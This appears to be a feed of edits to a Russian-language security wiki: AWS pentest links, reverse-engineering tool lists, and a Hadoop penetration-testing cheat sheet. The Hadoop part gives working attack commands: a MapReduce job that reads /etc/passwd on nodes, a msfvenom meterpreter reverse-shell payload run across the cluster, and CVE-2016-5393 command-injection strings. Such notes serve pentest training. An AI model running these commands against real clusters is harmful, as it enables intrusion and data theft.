=== ScoutSuite ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/nccgroup/ScoutSuite&lt;br /&gt;
&lt;br /&gt;
=== cloudfox ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/BishopFox/cloudfox&lt;br /&gt;
&lt;br /&gt;
= Ссылки =&lt;br /&gt;
&lt;br /&gt;
== Статьи ==&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/hijack-iam-roles-and-avoid-detection/ Hijacking IAM Roles and Avoiding Detection]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/bypass-guardduty-pentest-alerts/ Bypass GuardDuty PenTest Alerts]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/ssm-agent-tomfoolery/ Intercept SSM Agent Communications]&lt;br /&gt;
&lt;br /&gt;
== Лаборатории ==&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6 Damn Vulnerable Cloud Application]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[http://flaws.cloud Flaws]&lt;br /&gt;
&lt;br /&gt;
[https://xakep.ru/2022/03/21/htb-stacked/ HackTheBox Stacked Writeup]&lt;br /&gt;
&lt;br /&gt;
== Краткие заметки ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest.md PayloadAllTheThings]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/pentesting-web/buckets/aws-s3 hacktricks-s3]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/cloud-security/aws-security hacktricks-aws]&lt;br /&gt;
&lt;br /&gt;
== Книги ==&lt;br /&gt;
&lt;br /&gt;
[https://www.amazon.com/dp/1789136725/ Hands-On AWS Penetration Testing with Kali Linux]&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=Unity&amp;diff=1204</id>
		<title>Unity</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=Unity&amp;diff=1204"/>
				<updated>2022-09-11T10:21:59Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: Новая страница: «= Утилиты =  * Unity Assets Bundle Extractor * devx * quickbms * UAVx32 * UnityAssetsExplorer»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Утилиты =&lt;br /&gt;
&lt;br /&gt;
* Unity Assets Bundle Extractor&lt;br /&gt;
* devx&lt;br /&gt;
* quickbms&lt;br /&gt;
* UAVx32&lt;br /&gt;
* UnityAssetsExplorer&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=Python&amp;diff=1203</id>
		<title>Python</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=Python&amp;diff=1203"/>
				<updated>2022-09-11T10:20:53Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: Новая страница: «= Утилиты =  * exetractor * PyInstallerExtractor * pyREtic * uncompyle6 * unpy2exe»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Утилиты =&lt;br /&gt;
&lt;br /&gt;
* exetractor&lt;br /&gt;
* PyInstallerExtractor&lt;br /&gt;
* pyREtic&lt;br /&gt;
* uncompyle6&lt;br /&gt;
* unpy2exe&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=Net_framework&amp;diff=1202</id>
		<title>Net framework</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=Net_framework&amp;diff=1202"/>
				<updated>2022-09-11T10:20:03Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: Новая страница: «= Утилиты =  * ILSpy * NET Reflector * ReClass.Net * Telerik * dnSpy»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Утилиты =&lt;br /&gt;
&lt;br /&gt;
* ILSpy&lt;br /&gt;
* NET Reflector&lt;br /&gt;
* ReClass.Net&lt;br /&gt;
* Telerik&lt;br /&gt;
* dnSpy&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=Java&amp;diff=1201</id>
		<title>Java</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=Java&amp;diff=1201"/>
				<updated>2022-09-11T10:19:21Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: Новая страница: «= Утилиты =  * ClassEditor * dnSpy * jadx * Java Decompiler * JByteMod * Bytecode-Viewer * cfr * luyten * procyon-decompiler * Jeb Decompiler»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Утилиты =&lt;br /&gt;
&lt;br /&gt;
* ClassEditor&lt;br /&gt;
* dnSpy&lt;br /&gt;
* jadx&lt;br /&gt;
* Java Decompiler&lt;br /&gt;
* JByteMod&lt;br /&gt;
* Bytecode-Viewer&lt;br /&gt;
* cfr&lt;br /&gt;
* luyten&lt;br /&gt;
* procyon-decompiler&lt;br /&gt;
* Jeb Decompiler&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=Adobe_flash&amp;diff=1200</id>
		<title>Adobe flash</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=Adobe_flash&amp;diff=1200"/>
				<updated>2022-09-11T10:18:12Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: Новая страница: «= Утилиты =  * ffdec * Flash Decompiler Trillix»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Утилиты =&lt;br /&gt;
&lt;br /&gt;
* ffdec&lt;br /&gt;
* Flash Decompiler Trillix&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=Delphi&amp;diff=1199</id>
		<title>Delphi</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=Delphi&amp;diff=1199"/>
				<updated>2022-09-11T10:17:41Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: Новая страница: «=Утилиты=  * Delphi DeDe * Interactive Delphi Reconstructor * Revendepro»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Утилиты=&lt;br /&gt;
&lt;br /&gt;
* Delphi DeDe&lt;br /&gt;
* Interactive Delphi Reconstructor&lt;br /&gt;
* Revendepro&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=Basic&amp;diff=1198</id>
		<title>Basic</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=Basic&amp;diff=1198"/>
				<updated>2022-09-11T10:16:00Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
=Утилиты=&lt;br /&gt;
&lt;br /&gt;
* VB Decompiler Pro&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=Basic&amp;diff=1197</id>
		<title>Basic</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=Basic&amp;diff=1197"/>
				<updated>2022-09-11T10:15:45Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: Новая страница: « # Утилиты  * VB Decompiler Pro»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
# Утилиты&lt;br /&gt;
&lt;br /&gt;
* VB Decompiler Pro&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=%D0%9A%D0%B0%D1%82%D0%B5%D0%B3%D0%BE%D1%80%D0%B8%D1%8F:Reverse&amp;diff=1196</id>
		<title>Категория:Reverse</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=%D0%9A%D0%B0%D1%82%D0%B5%D0%B3%D0%BE%D1%80%D0%B8%D1%8F:Reverse&amp;diff=1196"/>
				<updated>2022-09-11T10:15:04Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Статьи по заданиям реверсинга чего либо&lt;br /&gt;
&lt;br /&gt;
* [[:binary_rev|Реверсинг бинарника]]&lt;br /&gt;
* [[:android_rev|Реверсинг Андроид приложений]]&lt;br /&gt;
&lt;br /&gt;
Нужно больше категорий!!1!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Гайд по софту:&lt;br /&gt;
* [[:gdb|CheatSheet по GDB]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Гайд по ассемблеру:&lt;br /&gt;
* [[:mips|MIPS ассемблер]]&lt;br /&gt;
* [[:arm|ARM ассемблер]]&lt;br /&gt;
* [[:x86|X86 ассемблер]]&lt;br /&gt;
* [[:i8051|Intel8051 ассемблер]]&lt;br /&gt;
* [[:pic12|PIC12 ассемблер]]&lt;br /&gt;
* [[:avr|avr ассемблер]]&lt;br /&gt;
&lt;br /&gt;
Языки программирования:&lt;br /&gt;
* [[:basic|Visual Basic]]&lt;br /&gt;
* [[:delphi|Delfi / Pascal]]&lt;br /&gt;
* [[:adobe_flash|Adobe Flash]]&lt;br /&gt;
* [[:java| Java]]&lt;br /&gt;
* [[:net_framework| .NET Framework]]&lt;br /&gt;
* [[:python | Python]]&lt;br /&gt;
* [[:unity | Unity]]&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=Hadoop&amp;diff=1195</id>
		<title>Hadoop</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=Hadoop&amp;diff=1195"/>
				<updated>2022-09-03T10:50:23Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: /* nmap */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Общее =&lt;br /&gt;
&lt;br /&gt;
== Получение конфига ==&lt;br /&gt;
&lt;br /&gt;
Несколько вариантов получения конфига Hadoop. Он может потребоваться для работы с ним через CLI. Конфиг обычно в формате XML.&lt;br /&gt;
&lt;br /&gt;
=== Сервисы ===&lt;br /&gt;
&lt;br /&gt;
==== WebUI ====&lt;br /&gt;
&lt;br /&gt;
Для этого требуется перейти на один из следующих веб серверов на страницу /conf:&lt;br /&gt;
&lt;br /&gt;
* HDFS WebUI (много потов)&lt;br /&gt;
* JobHistory (19888, 19890) - в приоритете&lt;br /&gt;
* ResourceManager (8088, 8090)&lt;br /&gt;
. . .&lt;br /&gt;
&lt;br /&gt;
=== Уязвимости ===&lt;br /&gt;
&lt;br /&gt;
Иногда конфиг можно скачать используя уязвимости ПО. &lt;br /&gt;
&lt;br /&gt;
==== Cloudera Manager ====&lt;br /&gt;
&lt;br /&gt;
Конфиг будет доступен по следующему адресу:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
http://&amp;lt;cloudera_mgr_ip&amp;gt;:7180/cmf/services/&amp;lt;service_id_to_iterate&amp;gt;/client-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
service_id_to_iterate - можно получить перебором 0-100(или больше).&lt;br /&gt;
&lt;br /&gt;
=== Автоматически ===&lt;br /&gt;
&lt;br /&gt;
==== HadoopSnooper ====&lt;br /&gt;
&lt;br /&gt;
https://github.com/wavestone-cdt/hadoop-attack-library/blob/master/Tools%20Techniques%20and%20Procedures/Getting%20the%20target%20environment%20configuration/hadoopsnooper.py&lt;br /&gt;
&lt;br /&gt;
Позволяет скачать файлы конфига:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
python hadoopsnooper.py 192.168.38.28 --nn hdfs://192.168.38.128:8020&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Аутентификация ==&lt;br /&gt;
&lt;br /&gt;
По-умолчанию simple (то есть отключена, можно выдавать себя за любого). Можно переключить на kerberos. За это отвечает параметр в конфиге hadoop.security.authentication.&lt;br /&gt;
&lt;br /&gt;
== Шифрование ==&lt;br /&gt;
&lt;br /&gt;
По-умолчанию отключено для передачи (in-transit) и хранения (at-rest). &lt;br /&gt;
&lt;br /&gt;
=== NameNode ===&lt;br /&gt;
&lt;br /&gt;
Для общения с NameNode могут быть использованы следующие механизмы аутентификации:&lt;br /&gt;
&lt;br /&gt;
- GSS-API&lt;br /&gt;
&lt;br /&gt;
- Digest-MD5&lt;br /&gt;
&lt;br /&gt;
=== Web Apps ===&lt;br /&gt;
&lt;br /&gt;
Как правило, используется SSL/TLS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== DataNodes ===&lt;br /&gt;
&lt;br /&gt;
Шифрование может быть на 2 уровнях: &lt;br /&gt;
&lt;br /&gt;
1. обмен ключами используя 3DES или RC4&lt;br /&gt;
&lt;br /&gt;
2. Шифрование используя AES 128(default)/192/256.&lt;br /&gt;
&lt;br /&gt;
=== At-rest ===&lt;br /&gt;
&lt;br /&gt;
Означает хранилище файлов. Если кратко:&lt;br /&gt;
&lt;br /&gt;
* Данные шифруются DEK-ключем (Data Encryption Key)&lt;br /&gt;
&lt;br /&gt;
* DEK зашифрован ключем EZ (Encryption Zone) -&amp;gt; EDEK (Encrypted Data Encryption Key)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Обратный процесс:&lt;br /&gt;
&lt;br /&gt;
* EDEK запрашивается у NameNode&lt;br /&gt;
&lt;br /&gt;
* Запрашиваем KMS расшифровать EDEK - получаем DEK&lt;br /&gt;
&lt;br /&gt;
* Расшифровываем или зашифровываем данные с DEK.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важно! Чтобы запросить ключ у KMS, в случае использования Access Control List (ACL) нужны привилегии.&lt;br /&gt;
&lt;br /&gt;
== Поиск сервисов ==&lt;br /&gt;
&lt;br /&gt;
=== nmap ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
nmap -sV -Pn --open -v -p ПОРТЫ_ТУТ --scripts &amp;quot;*hadoop* or *hbase* or *flume*&amp;quot; АДРЕСА&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Общие атаки ==&lt;br /&gt;
&lt;br /&gt;
=== Node RCE ===&lt;br /&gt;
&lt;br /&gt;
Для этого требуется получить конфиг и настроить hadoop cli.&lt;br /&gt;
&lt;br /&gt;
path_to_hadoop_streaming.jar - файл, который развертывается на нодах. Обычно он уже есть в установленном hadoop-cli по адресу /share/hadoop/tools/lib/hadoop-streaming-2.7.3.jar&lt;br /&gt;
&lt;br /&gt;
Создаем задачу MapReduce:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
 hadoop jar &amp;lt;path_to_hadoop_streaming.jar&amp;gt; \&lt;br /&gt;
-input /non_empty_file_on_HDFS \&lt;br /&gt;
-output /output_directory_on_HDFS \&lt;br /&gt;
-mapper &amp;quot;/bin/cat /etc/passwd&amp;quot; \&lt;br /&gt;
-reducer NONE&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Читаем результат команды:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
hadoop fs –ls /output_directory_on_HDFS&lt;br /&gt;
hadoop fs –cat /output_directory_on_HDFS/part-00000&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Также результат команды можно увидеть в WebUI в консоли созданной задачи.&lt;br /&gt;
&lt;br /&gt;
Из интересного: нельзя выбрать ноду, на которой запускается задача. Поэтому требуется запускать команду много раз, пока она не запустится на нужной.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Бонус: эксплоит можно сгенерировать с msfvenom:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.38.1 -f elf -o msf.payload&lt;br /&gt;
&lt;br /&gt;
hadoop jar &amp;lt;path_to_hadoop_streaming.jar&amp;gt;&lt;br /&gt;
-input /non_empty_file_on_HDFS \&lt;br /&gt;
-output /output_directory_on_HDFS \&lt;br /&gt;
-mapper &amp;quot;./msf.payload&amp;quot; \&lt;br /&gt;
-reducer NONE \&lt;br /&gt;
-file msf.payload \&lt;br /&gt;
-background&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== RCE - CVE-2016-5393 ===&lt;br /&gt;
&lt;br /&gt;
'''Уязвимая версия:''' Hadoop 2.6.x &amp;lt; 2.6.5 and 2.7.x &amp;lt; 2.7.3&lt;br /&gt;
&lt;br /&gt;
'''Требования:''' должен быть авторизован и у кластера должны быть включены параметры &amp;quot;org.apache.hadoop.security.ShellBasedUnixGroupsMapping&amp;quot; и &amp;quot;hadoop.security.group.mapping&amp;quot; (конфиг core-site.xml) &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cуть в том, что функция получения групп для пользователя не экранирует специальные символы и вставляет строку в &amp;quot;bash -c&amp;quot;:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
hdfs groups '$(ping 127.0.0.1)'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Второй вариант - через WebHDFS. Но для этого требуется &amp;quot;Simple Auth&amp;quot;:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
.../?user.name=$(ping+127.0.0.1)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее: https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Hadoop%20components%20vulnerabilities/Hadoop%20Common/CVE-2016-5393%20-%20Authenticated%20command%20execution%20as%20the%20hdfs%20user&lt;br /&gt;
&lt;br /&gt;
= HDFS =&lt;br /&gt;
&lt;br /&gt;
HDFS (Hadoop FileSystem) - это виртуальная файловая система Hadoop, доступная по сети.&lt;br /&gt;
&lt;br /&gt;
== Сервисы ==&lt;br /&gt;
&lt;br /&gt;
=== MasterNode (NameNode) WebUI ===&lt;br /&gt;
&lt;br /&gt;
Это веб-интерфейс, запущенный на портах 50070(http) и 50470(https). Обычно на нем отсутствует аутентификация, поэтому его можно использовать для доступа к файловой системе.&lt;br /&gt;
&lt;br /&gt;
Основная страница доступна по адресу /explorer.html, а при выборе даты перенаправляет на соответствующую DataNode (порт 50075).&lt;br /&gt;
&lt;br /&gt;
=== MasterNode Metadata Service ===&lt;br /&gt;
&lt;br /&gt;
Использует протокол IPC  на  портах 8020 и 9000. Требуется для взаимодействия с метадатой файлов HDFS.&lt;br /&gt;
&lt;br /&gt;
Команды для взаимодействия:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
# Получение списка файлов (и их метадаты)&lt;br /&gt;
hadoop fs -ls /tmp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== DataNode WebUI ===&lt;br /&gt;
&lt;br /&gt;
Веб-интерфейс для доступа к статусу, логам и тд. Запускается на 50075(http) и 50475(https) портах.&lt;br /&gt;
&lt;br /&gt;
Доступно по пути /browseDirectory.jsp&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== hdfsbrowser.py ====&lt;br /&gt;
Для взаимодействия с ним можно воспользоваться скриптом https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Tools%20Techniques%20and%20Procedures/Browsing%20the%20HDFS%20datalake :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
# В скрипте также можно указать порт, протокол&lt;br /&gt;
python hdfsbrowser.py 10.10.10.10&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Интересно, что утилита автоматически подставляет нужного пользователя - владельца файла или ноды.&lt;br /&gt;
&lt;br /&gt;
==== hadoop cli ====&lt;br /&gt;
&lt;br /&gt;
Для получения списка файлов требуется в переменной окружения &amp;quot;HADOOP_USER_NAME&amp;quot; указать нужного пользователя, например, root или hbase:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
export HADOOP_USER_NAME=hbase&lt;br /&gt;
hadoop fs -ls /hbase&lt;br /&gt;
hadoop fs –cat /output_directory_on_HDFS/part-00000&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Для этого может потребоваться конфиг hadoop (в основной главе)&lt;br /&gt;
&lt;br /&gt;
=== DataNode Data Transfer ===&lt;br /&gt;
&lt;br /&gt;
Сервис для передачи данных в DataNode. Использует порт 50010&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
# Отправить файл на HDFS&lt;br /&gt;
hadoop fs -put &amp;lt;localfile&amp;gt; &amp;lt;remotedst&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== DataNode Metadata Service ===&lt;br /&gt;
&lt;br /&gt;
Использует протокол IPC на порту 50020. Требуется для взаимодействия с метадатой файлов HDFS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Secondary Node Checkpoint Service (Secondary NameNode WebUI) ===&lt;br /&gt;
&lt;br /&gt;
Запущен на порту 50090 по протоколу http. Как понял используется для сохранения данных метадаты (запасное хранилище).&lt;br /&gt;
&lt;br /&gt;
= YARN =&lt;br /&gt;
&lt;br /&gt;
== Интерфейсы (сервисы) ==&lt;br /&gt;
&lt;br /&gt;
=== Application Manager ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8032 &lt;br /&gt;
&lt;br /&gt;
Протокол: http&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.resourcemanager.address&lt;br /&gt;
&lt;br /&gt;
=== Scheduler ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8030&lt;br /&gt;
&lt;br /&gt;
Протокол: http&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.resourcemanager.scheduler.address&lt;br /&gt;
&lt;br /&gt;
=== ResourceManager Web Application ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8088, 8090&lt;br /&gt;
&lt;br /&gt;
Протокол: http(8088), https(8090)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.resourcemanager.webapp.address, yarn.resourcemanager.webapp.https.address&lt;br /&gt;
&lt;br /&gt;
=== ResourceManager Tracker ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8031&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.resourcemanager.resource-tracker.address&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== ResourceManager Admin ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8033&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.resourcemanager.admin.address&lt;br /&gt;
&lt;br /&gt;
=== NodeManager СontainerManager ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 0&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.nodemanager.address&lt;br /&gt;
&lt;br /&gt;
=== NodeManager Localizer ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8040&lt;br /&gt;
&lt;br /&gt;
Протокол: ??? (IPC)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.nodemanager.localizer.address&lt;br /&gt;
&lt;br /&gt;
=== NodeManager Collector Service ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8048&lt;br /&gt;
&lt;br /&gt;
Протокол: ??? (IPC)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.nodemanager.collector-service.address&lt;br /&gt;
&lt;br /&gt;
=== NodeManager WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8042, 8044&lt;br /&gt;
&lt;br /&gt;
Протокол: http(8042), https(8044)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.nodemanager.webapp.address, yarn.nodemanager.webapp.https.address&lt;br /&gt;
&lt;br /&gt;
=== NodeManager Timeline RPC ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 10200&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.timeline-service.address&lt;br /&gt;
&lt;br /&gt;
=== NodeManager Timeline WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8188, 8190&lt;br /&gt;
&lt;br /&gt;
Протокол: http(8188), https(8190)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.timeline-service.webapp.address, yarn.timeline-service.webapp.https.address&lt;br /&gt;
&lt;br /&gt;
=== SharedCacheManager Admin ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8047&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.sharedcache.admin.address&lt;br /&gt;
&lt;br /&gt;
=== SharedCacheManager WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8788&lt;br /&gt;
&lt;br /&gt;
Протокол: ???(http)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.sharedcache.webapp.address&lt;br /&gt;
&lt;br /&gt;
=== SharedCacheManager Node Manager ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8046&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.sharedcache.uploader.server.address&lt;br /&gt;
&lt;br /&gt;
=== SharedCacheManager Client ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8045&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.sharedcache.client-server.address&lt;br /&gt;
&lt;br /&gt;
=== NodeManager AMRMProxyService ===&lt;br /&gt;
&lt;br /&gt;
